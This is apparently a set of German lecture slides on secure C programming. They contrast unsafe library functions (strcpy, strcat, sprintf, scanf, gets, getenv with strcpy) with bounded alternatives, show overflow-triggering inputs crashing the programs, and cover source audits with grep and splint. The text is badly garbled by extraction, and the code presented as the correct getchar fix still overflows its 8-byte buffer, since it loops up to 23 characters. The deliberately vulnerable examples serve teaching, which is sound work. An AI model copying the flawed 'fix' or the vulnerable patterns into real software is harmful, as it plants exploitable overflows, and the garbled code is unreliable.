Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
strcpy → strncpy
Die Funktion strcpy haben wir bereits als unsichere Bibliotheksfunktion
identifiziert. Sie dient dazu, eine Zeichenkette von einem Puffer in einen
¨
anderen zu kopieren. Dabei werden keine Uberpr¨
ufungen der
Puffergrenzen vorgenommen.
Daher ist diese Funktion der klassische Angriffspunkt f¨
ur
Puffer¨
uberlauf-Attacken.
strcpy.c
1
2
3
# include < string .h >
int main ( int argc , char * argv []) {
char buff [24];
if ( argc > 1)
strcpy ( buff , argv [1]);
5
6
return 0;
8
9
←
}
66 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
strcpy → strncpy
Als sichere Alternative sollte man strncpy verwenden.
BEZEICHNUNG
strcpy , strncpy - kopiert eine Zeichenkette
¨
U BERSICHT
# include < string .h >
char * strcpy ( char * dest , const char * src );
char * strncpy ( char * dest , const char * src , size_t n );
BESCHREIBUNG
Die Funktion strcpy () kopiert die Zeichenkette , auf die der Zeiger src
zeigt , inklusive des Endezeichens ‘ \0 ’ an die Stelle , auf die dest
zeigt . Die Zeicheketten d¨
u rfen sich nicht ¨
u berlappen und dest muß groß
genug sein .
Die Funktion strncpy () tut dasselbe mit dem Unterschied , daß nur die
ersten n Byte von src kopiert werden . Ist kein ‘ \0 ’ innerhalb der
ersten n Bytes , so wird das Ergebnis nicht durch ‘ \0 ’ abgeschlossen .
Ist die L¨
a nge von src kleiner als n Bytes , so wird dest mit Nullen
aufgef¨
u llt .
R¨
U CKGABEWERT
Die Funktionen strcpy () und strncpy () geben einen Zeiger auf dest
zur¨
u ck .
67 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
strcpy → strncpy
strncpy.c
1
2
3
4
# include < string .h >
# define BUFFER 24
int main ( int argc , char * argv []) {
char buff [ BUFFER ];
if ( argc > 1) {
strncpy ( buff , argv [1] , BUFFER - 1);
buff [ BUFFER - 1] = ' \0 ';
}
6
7
8
9
← !!!
return 0;
11
12
←
}
Achtung:
Das Ende der Zeichenkette ist stets explizit mit ’\0’ zu
terminieren, ansonsten entsteht eine neue Schwachstelle.
68 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
strcat → strncat
Die Funktion strcat ist eine weitere unsichere Bibliotheksfunktion, zu der
es eine sichere Alternative gibt, bei der aber auch die Nulltermination zu
beachten ist.
BEZEICHNUNG
strcat , strncat - verbinden zwei Zeichenketten
¨
U BERSICHT
# include < string .h >
char * strcat ( char * dest , const char * src );
char * strncat ( char * dest , const char * src , size_t n );
BESCHREIBUNG
Die Funktion strcat h¨
a ngt die Zeichenkette src an die Zeichenkette dest
an , wobei das S t r i n g e n d e z e i c h e n ‘ \0 ’ ¨
u berschrieben wird und ein neues
‘ \0 ’ am Ende der gesamten Zeichenkette angeh¨
a ngt wird . Die Zeichenket ten k¨
o nnen sich nicht u
¨ berlappen und dest muß Platz genug f¨
u r die
gesamte Zeichenkette haben .
Die Funktion strncat tut dasselbe , wobei allerdings nur die ersten n
Buchstaben von src kopiert werden .
R¨
U CKGABEWERT
Die Funktionen strcat () und strncat () liefern einen Zeiger auf die
gesamte Zeichekette dest zur¨
u ck .
69 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
strcat → strncat
Im nachfolgenden Beispiel wird mittels strcat an die Zeichenkette Jenni“
”
das Kommandozeilen-Argument angeh¨angt:
strcat.c
1
2
3
4
5
# include < string .h >
# include < stdio .h >
# define BUFFER 8
int main ( int argc , char * argv []) {
char buff [ BUFFER ] = " Jenni " ;
if ( argc > 1)
strcat ( buff , argv [1]);
7
8
printf ( " buff : [% s ] (% p )\ n " , buff , buff );
return 0;
10
11
12
←
}
$ strcat ` perl -e '{ print " A " x1 } ' `
buff : [ JenniA ] (0 xfef6b030 )
$ strcat ` perl -e '{ print " A " x8 } ' `
buff : [ JenniAAAAAAAA ] (0 xfeee5c90 )
Speicherzugriffsfehler
$
70 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
strcat → strncat
Bei der sicheren Alternative werden nur soviel Zeichen kopiert, dass kein
¨
Uberlauf
statt finden kann:
strncat.c
1
2
3
5
6
# include < string .h >
# include < stdio .h >
# define BUFFER 8
int main ( int argc , char * argv []) {
char buff [ BUFFER ] = " Jenni " ;
if ( argc > 1)
strncat ( buff , argv [1] , BUFFER - strlen ( buff ) - 1);
8
9
printf ( " buff : [% s ] (% p )\ n " , buff , buff );
return 0;
11
12
13
←
}
$ strncat ` perl -e '{ print " A " x1 } ' `
buff : [ JenniA ] (0 xfeeece70 )
$ strncat ` perl -e '{ print " A " x8 } ' `
buff : [ JenniAA ] (0 xfeecbe90 )
$
71 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
sprintf → snprintf
Die beiden Bibliotheksfunktionen zur formatierten Ausgabe sind unsicher,
da auch sie keine L¨angen¨
uberpr¨
ufung vornehmen.
Im folgenden Beispiel wird das Kommandozeilen-Argument in den Puffer
buff geschrieben und keine L¨angenpr¨
ufung durchgef¨
uhrt. sprintf.c
1
2
3
4
# include < stdio .h >
# define BUFFER 16
int main ( int argc , char * argv []) {
char buff [ BUFFER ];
if ( argc > 1)
sprintf ( buff , " Eingabe : % s " , argv [1]);
6
7
printf ( " buff : [% s ] (% p )(% d )\ n " , buff , buff , strlen ( buff ));
return 0;
9
10
11
←
}
$ sprintf ` perl -e '{ print " A " x10 } ' `
buff : [ Eingabe : AAAAAAAAAA ] (0 xfef71e80 )(19)
$ sprintf ` perl -e '{ print " A " x20 } ' `
buff : [ Eingabe : A A A A A A A A A A A A A A A A A A A A ] (0 xfee91110 )(29)
Speicherzugriffsfehler
$
72 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
sprintf → snprintf
Verwenden sollte man stets die sichere Alternative snprintf:
1
2
3
4
# include < stdio .h >
# define BUFFER 16
int main ( int argc , char * argv []) {
char buff [ BUFFER ];
if ( argc > 1) {
snprintf ( buff , BUFFER , " Eingabe : % s " , argv [1]); ←
buff [ BUFFER - 1] = ' \0 ';
}
printf ( " buff : [% s ] (% p )(% d )\ n " , buff , buff , strlen ( buff ));
return 0;
6
7
8
9
10
11
12
snprintf.c
}
$ snprintf ` perl -e '{ print " A " x10 } ' `
buff : [ Eingabe : AAAAAA ] (0 xfef50c80 )(15)
$ snprintf ` perl -e '{ print " A " x20 } ' `
buff : [ Eingabe : AAAAAA ] (0 xfef0a790 )(15)
$
Achtung:
Nicht alle Implementierungen von snprintf terminieren den
String mit ’0’. Deshalb sollte man dies stets explizit tun!
73 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
scanf
Die Schwachstellen der scanf-Familie (scanf, sscanf, fscanf) von
Bibliotheksfunktionen werden an scanf demonstriert.
¨
Die Schwachstelle beruht wieder darauf, dass keine Uberpr¨
ufung der
Puffergrenzen durchgef¨
uhrt wird.
scanf.c
1
2
3
4
# include < stdio .h >
# define BUFFER 8
int main ( int argc , char * argv []) {
char buff [ BUFFER ];
scanf ( " % s " , & buff );
←
printf ( " buff : [% s ] (% p )(% d )\ n " , buff , buff , strlen ( buff ));
return 0;
6
7
8
9
}
$ scanf
AAAAAAAA
buff : [ AAAAAAAA ] (0 xfeef59a0 )(8)
$ scanf
A A A A A A AABBBBBBBB
buff : [ AAAAAAAABBBBBBB B ] (0 xfefad570 )(16)
Speicherzugriffsfehler
$
74 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
scanf
F¨
ur die scanf-Familie gibt es keine sicherer Alternativen in der
Standardbibliothek. Man kann aber scanf-Funktionen verwenden, wenn
man etwa die L¨
angenbeschr¨
ankung im Format-String verwendet: scanf2.c
1
2
3
4
5
6
# define BUFFER 8
int main ( int argc , char * argv []) {
char buff [ BUFFER ];
scanf ( " %7 s " , & buff ); // %7 s = % BUFFER -1
return 0;
}
←
$ scanf2
AAAAAAAA
$ scanf2
A A A A A A AABBBBBBBB
$
75 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
getchar
Die Funktion getchar (fgets, getc und read analog) dient zum lesen eines
Zeichens von stdin. Im Zusammenhang mit Schleifen sind hier schnell
Schwachstellen programmiert: getchar.c
1
2
3
4
5
6
7
8
9
10
# define BUFFER 8
int main ( void ) {
char buff [ BUFFER ] , c ;
int i = 0;
memset ( buff , 'A ' , BUFFER );
// f¨
u lle buff mit As
while (( c = getchar ()) != '\ n ') { // lese bis Newline ←
buff [ i ++] = c ;
}
printf ( " buff : [% s ] (% p )(% d )\ n " , buff , buff , strlen ( buff ));
}
$ getchar
AAAAAAAA
buff : [ AAAAAAAAB ?] (0 xfef04290 )(15)
$
←
Offensichtlich sind in buff 15 Zeichen, obwohl er nur 8 Byte aufnehmen
kann. Der Fehler liegt darin, dass nach der while-Schleife keine
Nulltermierung erfolgt ist.
76 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
getchar
Die korrekte L¨
osung ist:
1
2
3
4
5
6
7
8
# define BUFFER 8
int main ( void ) {
char buff [ BUFFER ] , c ;
int i = 0;
memset ( buff , 'A ' , BUFFER );
while (( c = getchar ()) != '\ n ' && i < 23) {
buff [ i ++] = c ;
}
// Nulltermination
if ( i < BUFFER -1)
buff [ i ++] = ' \0 ';
else
buff [ BUFFER - 1] = ' \0 ';
10
11
12
13
14
←
←
←
←
←
printf ( " buff : [% s ] (% p )(% d )\ n " , buff , buff , strlen ( buff ));
16
17
getchar2.c
}
$ getchar2
AAAAAAAA
buff : [ AAAAAAA ] (0 xfef3cde0 )(7)
$
←
77 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
getenv
Das Lesen von Werten aus Umgebungsvariablen f¨
uhrt in Verbindung mir
unsicheren Bibliotheksfunktionen genauso zu Schwachstellen, wie das
Lesen von stdin. getenv.c
1
2
3
4
# define BUFFER 16
int main ( void ) {
char buff [ BUFFER ];
char * tmp ;
tmp = getenv ( " HOME " );
if ( tmp != NULL )
strcpy ( buff , tmp );
6
7
8
←
printf ( " buff : [% s ] (% p )(% d )\ n " , buff , buff , strlen ( buff ));
10
11
←
}
$ getenv
buff : [/ home / as ] (0 xfeec4560 )(8)
$
78 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
getenv
Ist der Wert der Umgebungsvariable zu gross, entsteht ein
Puffer¨
uberlauf, weil strcpy verwendet wurde.
$ export HOME = A A A A A A A A A A A A A A A A B B B B B B B B B B B B B B B B
$ getenv
buff : [ A A A A A A A A A A A A A A A A B B B B B B B B B B B B B B B B ] (0 xfee9c330 )(32)
Speicherzugriffsfehler
$
Also richtig mit L¨angen¨
uberpr¨
ufung durch stcncpy:
getenv2.c
# define BUFFER 16
int main ( void ) {
char buff [ BUFFER ] , * tmp ;
tmp = getenv ( " HOME " );
if ( tmp != NULL ) {
strncpy ( buff , tmp , BUFFER - 1); ←
buff [ BUFFER - 1] = ' \0 ';
}
printf ( " buff : [% s ] (% p )(% d )\ n " , buff , buff , strlen ( buff ));
}
79 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Source Code Audits
Source Code Audits
Die Idee eines Quellkode Audits ist es,
1 alle gef¨
ahrlichen“ Stellen zu finden und
”
2 anschliessend durch (einen zweiten) Programmierer u
ufen zu
¨berpr¨
lassen.
Wir haben gesehen, dass die Verwendung von statischen Zeichenpuffern
mit unsicheren Funktionen zu Schwachstellen f¨
uhren kann.
Finden von solchen statischen Char-Puffern erfolgt z.B. einfach mittels
grep:
$ grep -n ' char .*\[ ' *. c
←
fgets . c :4:
char buff [24];
getchar2 . c :5: char
buff [ BUFFER ] , c ;
getchar . c :5: char
buff [ BUFFER ] , c ;
getenv2 . c :6: char
buff [ BUFFER ] , * tmp ;
getenv . c :7:
char
buff [ BUFFER ];
gets . c :3:
char
buff [24];
...
$
80 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Source Code Audits
Das Auffinden von unsicheren Bibliotheksfunktionen erledigt egrep:
$ egrep -n ' strcpy | gets ' *. c
←
fgets . c :7:
fgets ( buff , 24 , stdin );
getenv . c :12: strcpy ( buff , tmp );
gets . c :6:
gets ( buff );
strcpy . c :6:
strcpy ( buff , argv [1]);
$
81 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Automatisierte Softwaretests
Automatisierte Softwaretests
Es existieren mehrere frei verf¨
ugbare Analysatoren f¨
ur C und C++
Quellkode, die die unsicheren Bibliotheksfunktionen erkennen und
aufzeigen.
• flawfinder http://www.dwheeler.com/flawfinder/
• rats http://www.securesoftware.com/security tools download.htm
82 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Automatisierte Softwaretests
splint
Hier soll kurz ein Beispiel mit splint gezeigt werden:
1
2
3
4
5
6
7
# include < stdio .h >
int main ( void ) {
char buff [24];
printf ( " Eingabe : " );
gets ( buff );
return 0;
}
← was passiert bei Eingaben > 24?
$ splint gets . c
Splint 3.1.1 --- 17 Feb 2004
gets . c : ( in function main )
gets . c :4:2: Use of gets leads to a buffer overflow vulnerability .
Use fgets instead : gets
Use of function that may lead to buffer overflow .
gets . c :4:2: Return value ( type char *) ignored : gets ( buff )
Result returned by function call is not used .
If this is intended , can cast result to ( void ) to
eliminate message .
Finished checking --- 2 code warnings
$
83 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Binary Audits
Binary Audits
Neben den Werkzeugen, die den Quellkode analysieren, existieren
Werkzeuge, die man verwenden kann, wenn der Quellkode nicht
verf¨
ugbar ist. Sie arbeiten mit den Binaries.
Dabei werden die Programme durch Stresstests mit generierten
Eingaben und Umgebungen wiederholt angestossen und das
Verhalten beobachtet.
Damit sollen z.B. Puffer¨
uberl¨aufer erkannt werden, bevor das Programm
zum Einsatz in die produktive Umgebung freigegeben wird.
In grossen Unternehmen, wird mehr und mehr der Quellkode zur
¨
Uberpr¨
ufung vom Hersteller verlangt, der dann einem Audit unterzogen
wird, bevor die Software eingesetzt werden darf.
84 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Compilererweiterungen
Compilererweiterungen
Das Hauptproblem der Puffer¨
uberl¨aufe liegt in der Sprache C bzw. C++
selbst. Die Idee bei der Entwicklung war u.a., eine Hochsprache zu haben,
die dennoch in effizientem u
undet. Deshalb sind
¨bersetzten Kode m¨
¨
Uberpr¨
ufungen auf Zeigerreferenzen und Arraygrenzen dem
Programmierer u
¨berlassen.
Es existieren Erweiterungen der Programmierumgebung, die diese
¨
Uberpr¨
ufungen vornehmen:
• C-Kode kann in der normalen oder der erweiterten Umgebung ohne
¨
Anderung
laufen (Vorteil),
• aber in der erweiterten Umgebung ist die Kode-Performance sehr
schlecht (Nachteil).
Da C meist eingesetzt wird, wo es auf performanten Kode ankommt, sind
diese Erweiterungen im praktischen Umfeld bedeutungslos.
85 / 85
Document
Kategorie
Technik
Seitenansichten
8
Dateigröße
634 KB
Tags
1/--Seiten
melden